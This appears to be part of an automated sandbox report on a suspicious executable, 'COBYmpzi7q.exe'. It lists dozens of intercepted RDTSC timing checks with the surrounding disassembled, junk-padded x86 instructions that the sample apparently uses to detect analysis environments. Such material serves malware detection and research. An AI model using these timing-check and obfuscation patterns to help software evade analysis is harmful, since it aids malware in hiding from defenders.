Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50D0A50 second address: 50D0A54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50D0A54 second address: 50D0A63 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50D0A63 second address: 50D0A67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50D0A67 second address: 50D0A6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50D0A6B second address: 50D0A71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50D0A9D second address: 50D0AA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50D0AA1 second address: 50D0AA7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50D0AA7 second address: 50D0B24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5D5CF5ECF2h 0x00000008 pushfd 0x00000009 jmp 00007F5D5CF5ECF2h 0x0000000e sub eax, 4D2CC4E8h 0x00000014 jmp 00007F5D5CF5ECEBh 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d call 00007F5D5CF5ECE9h 0x00000022 jmp 00007F5D5CF5ECF6h 0x00000027 push eax 0x00000028 pushad 0x00000029 mov ax, bx 0x0000002c mov ebx, 08354760h 0x00000031 popad 0x00000032 mov eax, dword ptr [esp+04h] 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 mov ch, bh 0x0000003b jmp 00007F5D5CF5ECECh 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50D0B24 second address: 50D0B36 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, A854h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50D0B36 second address: 50D0B48 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D5CF5ECEEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50D0B48 second address: 50D0B4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50D0B4E second address: 50D0B52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50D0B52 second address: 50D0BA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c pushad 0x0000000d jmp 00007F5D5D24D0D6h 0x00000012 pushad 0x00000013 jmp 00007F5D5D24D0D7h 0x00000018 popad 0x00000019 popad 0x0000001a pop eax 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F5D5D24D0D5h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50D0BA7 second address: 50D0BAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50D0BAD second address: 50D0BB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50D0C55 second address: 50D0CE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 test al, al 0x00000007 jmp 00007F5D5CF5ECF5h 0x0000000c je 00007F5DCD2629FAh 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F5D5CF5ECECh 0x00000019 and cx, 5F08h 0x0000001e jmp 00007F5D5CF5ECEBh 0x00000023 popfd 0x00000024 jmp 00007F5D5CF5ECF8h 0x00000029 popad 0x0000002a cmp dword ptr [ebp+08h], 00002000h 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 pushfd 0x00000035 jmp 00007F5D5CF5ECEDh 0x0000003a or eax, 4AC978D6h 0x00000040 jmp 00007F5D5CF5ECF1h 0x00000045 popfd 0x00000046 push eax 0x00000047 pop edx 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50E0992 second address: 50E09AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D5D24D0D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50E09AF second address: 50E0A17 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F5D5CF5ECF7h 0x00000009 or ah, 0000006Eh 0x0000000c jmp 00007F5D5CF5ECF9h 0x00000011 popfd 0x00000012 movzx esi, dx 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push ebp 0x00000019 jmp 00007F5D5CF5ECF8h 0x0000001e mov dword ptr [esp], ebp 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F5D5CF5ECEAh 0x0000002a rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50E0A17 second address: 50E0A1D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50E0A1D second address: 50E0A63 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D5CF5ECEEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F5D5CF5ECF0h 0x00000010 xchg eax, esi 0x00000011 jmp 00007F5D5CF5ECF0h 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F5D5CF5ECEEh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50E0A63 second address: 50E0A75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5D5D24D0CEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50E0A75 second address: 50E0AA4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 jmp 00007F5D5CF5ECF7h 0x0000000e mov esi, dword ptr [ebp+0Ch] 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 mov ebx, 76C61BD6h 0x00000019 mov si, di 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50E0AA4 second address: 50E0AAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50E0AAA second address: 50E0AC3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test esi, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F5D5CF5ECEDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50E0AC3 second address: 50E0B0F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D5D24D0D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F5DCD54A9A5h 0x0000000f jmp 00007F5D5D24D0CEh 0x00000014 cmp dword ptr [7544459Ch], 05h 0x0000001b jmp 00007F5D5D24D0D0h 0x00000020 je 00007F5DCD562A5Ah 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50E0B0F second address: 50E0B2C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D5CF5ECF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50E0B2C second address: 50E0B81 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F5D5D24D0D7h 0x00000009 xor esi, 15D5A52Eh 0x0000000f jmp 00007F5D5D24D0D9h 0x00000014 popfd 0x00000015 jmp 00007F5D5D24D0D0h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d xchg eax, esi 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50E0B81 second address: 50E0B85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50E0B85 second address: 50E0B8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50E0B8B second address: 50E0B9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5D5CF5ECEBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50E0B9A second address: 50E0B9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 50E0B9E second address: 50E0BD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov edi, ecx 0x0000000c pushfd 0x0000000d jmp 00007F5D5CF5ECEEh 0x00000012 and si, 5838h 0x00000017 jmp 00007F5D5CF5ECEBh 0x0000001c popfd 0x0000001d popad 0x0000001e xchg eax, esi 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 movsx ebx, cx 0x00000025 movzx esi, bx 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65AED1F second address: 65AED32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b jnc 00007F5D5D24D0C8h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65BADD5 second address: 65BADDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65BADDB second address: 65BADE3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65BADE3 second address: 65BADEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F5D5CF5ECE6h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65BADEF second address: 65BADF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65BADF3 second address: 65BADFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65BE207 second address: 643D971 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F5D5D24D0C6h 0x00000009 jnp 00007F5D5D24D0C6h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 xor dword ptr [esp], 6712F9BAh 0x00000019 pushad 0x0000001a add ecx, 00B09A44h 0x00000020 jnp 00007F5D5D24D0C9h 0x00000026 popad 0x00000027 push dword ptr [ebp+122D0BB9h] 0x0000002d jmp 00007F5D5D24D0D3h 0x00000032 call dword ptr [ebp+122D20ECh] 0x00000038 pushad 0x00000039 mov dword ptr [ebp+122D20B8h], edx 0x0000003f xor eax, eax 0x00000041 jmp 00007F5D5D24D0CFh 0x00000046 mov edx, dword ptr [esp+28h] 0x0000004a jmp 00007F5D5D24D0D9h 0x0000004f mov dword ptr [ebp+122D3775h], eax 0x00000055 mov dword ptr [ebp+122D2130h], esi 0x0000005b mov dword ptr [ebp+122D20B8h], edi 0x00000061 mov esi, 0000003Ch 0x00000066 cld 0x00000067 add esi, dword ptr [esp+24h] 0x0000006b xor dword ptr [ebp+122D20B8h], edi 0x00000071 lodsw 0x00000073 mov dword ptr [ebp+122D20E2h], ebx 0x00000079 add eax, dword ptr [esp+24h] 0x0000007d or dword ptr [ebp+122D2EF7h], ebx 0x00000083 mov ebx, dword ptr [esp+24h] 0x00000087 mov dword ptr [ebp+122D20B8h], edx 0x0000008d push eax 0x0000008e pushad 0x0000008f pushad 0x00000090 jbe 00007F5D5D24D0C6h 0x00000096 push eax 0x00000097 push edx 0x00000098 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65BE416 second address: 65BE41F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65BE41F second address: 65BE423 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65BE423 second address: 65BE4A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xor dword ptr [esp], 7D2E72D0h 0x0000000e mov si, di 0x00000011 push 00000003h 0x00000013 pushad 0x00000014 jl 00007F5D5CF5ECE9h 0x0000001a mov di, bx 0x0000001d movzx esi, cx 0x00000020 popad 0x00000021 mov cl, bl 0x00000023 push 00000000h 0x00000025 push 00000000h 0x00000027 push ebp 0x00000028 call 00007F5D5CF5ECE8h 0x0000002d pop ebp 0x0000002e mov dword ptr [esp+04h], ebp 0x00000032 add dword ptr [esp+04h], 0000001Bh 0x0000003a inc ebp 0x0000003b push ebp 0x0000003c ret 0x0000003d pop ebp 0x0000003e ret 0x0000003f mov cx, EAF0h 0x00000043 push 00000003h 0x00000045 push 00000000h 0x00000047 push ebx 0x00000048 call 00007F5D5CF5ECE8h 0x0000004d pop ebx 0x0000004e mov dword ptr [esp+04h], ebx 0x00000052 add dword ptr [esp+04h], 0000001Ah 0x0000005a inc ebx 0x0000005b push ebx 0x0000005c ret 0x0000005d pop ebx 0x0000005e ret 0x0000005f mov esi, dword ptr [ebp+122D3699h] 0x00000065 push BB2F4A7Ch 0x0000006a push eax 0x0000006b push edx 0x0000006c push eax 0x0000006d push edx 0x0000006e push eax 0x0000006f push edx 0x00000070 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65BE4A4 second address: 65BE4A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65BE4A8 second address: 65BE4AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65BE4AC second address: 65BE4B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65BE4B2 second address: 65BE4F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D5CF5ECF0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 04D0B584h 0x00000010 xor dword ptr [ebp+122D2F6Eh], esi 0x00000016 lea ebx, dword ptr [ebp+1245410Ah] 0x0000001c mov edi, dword ptr [ebp+122D37D5h] 0x00000022 mov ecx, dword ptr [ebp+122D36B1h] 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b jl 00007F5D5CF5ECE8h 0x00000031 push esi 0x00000032 pop esi 0x00000033 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65BE542 second address: 65BE5A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jbe 00007F5D5D24D0CCh 0x0000000b jg 00007F5D5D24D0C6h 0x00000011 popad 0x00000012 mov dword ptr [esp], eax 0x00000015 mov dword ptr [ebp+122D20BDh], ebx 0x0000001b push 00000000h 0x0000001d mov cl, 21h 0x0000001f call 00007F5D5D24D0C9h 0x00000024 jp 00007F5D5D24D0CEh 0x0000002a push eax 0x0000002b jmp 00007F5D5D24D0D4h 0x00000030 mov eax, dword ptr [esp+04h] 0x00000034 jmp 00007F5D5D24D0D1h 0x00000039 mov eax, dword ptr [eax] 0x0000003b pushad 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65BE5A9 second address: 65BE5AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65BE5AD second address: 65BE62D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D5D24D0D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jo 00007F5D5D24D0CCh 0x0000000f jnp 00007F5D5D24D0C6h 0x00000015 popad 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a jg 00007F5D5D24D0D6h 0x00000020 pushad 0x00000021 pushad 0x00000022 popad 0x00000023 jmp 00007F5D5D24D0CCh 0x00000028 popad 0x00000029 pop eax 0x0000002a mov edi, dword ptr [ebp+122D3809h] 0x00000030 jmp 00007F5D5D24D0D4h 0x00000035 push 00000003h 0x00000037 mov si, BDE5h 0x0000003b push 00000000h 0x0000003d mov esi, dword ptr [ebp+122D3835h] 0x00000043 stc 0x00000044 push 00000003h 0x00000046 push edx 0x00000047 mov esi, dword ptr [ebp+122D36E5h] 0x0000004d pop ecx 0x0000004e call 00007F5D5D24D0C9h 0x00000053 push ecx 0x00000054 push eax 0x00000055 push edx 0x00000056 pushad 0x00000057 popad 0x00000058 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65BE62D second address: 65BE631 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65BE631 second address: 65BE65D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 pushad 0x00000009 jbe 00007F5D5D24D0C8h 0x0000000f pushad 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 jmp 00007F5D5D24D0CEh 0x00000017 popad 0x00000018 popad 0x00000019 mov eax, dword ptr [esp+04h] 0x0000001d push edx 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65BE65D second address: 65BE663 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65BE663 second address: 65BE6A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 mov eax, dword ptr [eax] 0x00000008 jns 00007F5D5D24D0D9h 0x0000000e pushad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 jmp 00007F5D5D24D0CFh 0x00000016 popad 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e jnp 00007F5D5D24D0C6h 0x00000024 jmp 00007F5D5D24D0CEh 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65BE6A0 second address: 65BE6A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65BE6A6 second address: 65BE6DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D5D24D0CFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c jnl 00007F5D5D24D0CCh 0x00000012 add edx, dword ptr [ebp+122D36BDh] 0x00000018 lea ebx, dword ptr [ebp+12454115h] 0x0000001e mov ecx, esi 0x00000020 xchg eax, ebx 0x00000021 js 00007F5D5D24D0E4h 0x00000027 push eax 0x00000028 push edx 0x00000029 jng 00007F5D5D24D0C6h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65DE3C2 second address: 65DE3C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65DE3C6 second address: 65DE3D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65DE3D0 second address: 65DE3D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65A66F7 second address: 65A6701 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F5D5D24D0C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65DC1E9 second address: 65DC1EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65DC1EF second address: 65DC1F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65DC1F5 second address: 65DC1FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65DC1FC second address: 65DC201 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65DC35E second address: 65DC362 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65DC615 second address: 65DC61B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65DC79A second address: 65DC7A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65DCC0B second address: 65DCC0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65DCC0F second address: 65DCC2F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5D5CF5ECF0h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jl 00007F5D5CF5ECE6h 0x00000012 push edx 0x00000013 pop edx 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65DCC2F second address: 65DCC62 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F5D5D24D0CAh 0x00000008 pushad 0x00000009 popad 0x0000000a push edi 0x0000000b pop edi 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jbe 00007F5D5D24D0CCh 0x00000015 js 00007F5D5D24D0C6h 0x0000001b jno 00007F5D5D24D0CEh 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 jnc 00007F5D5D24D0C6h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65DCE02 second address: 65DCE06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\COBYmpzi7q.exe	RDTSC instruction interceptor: First address: 65DCE06 second address: 65DCE0B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
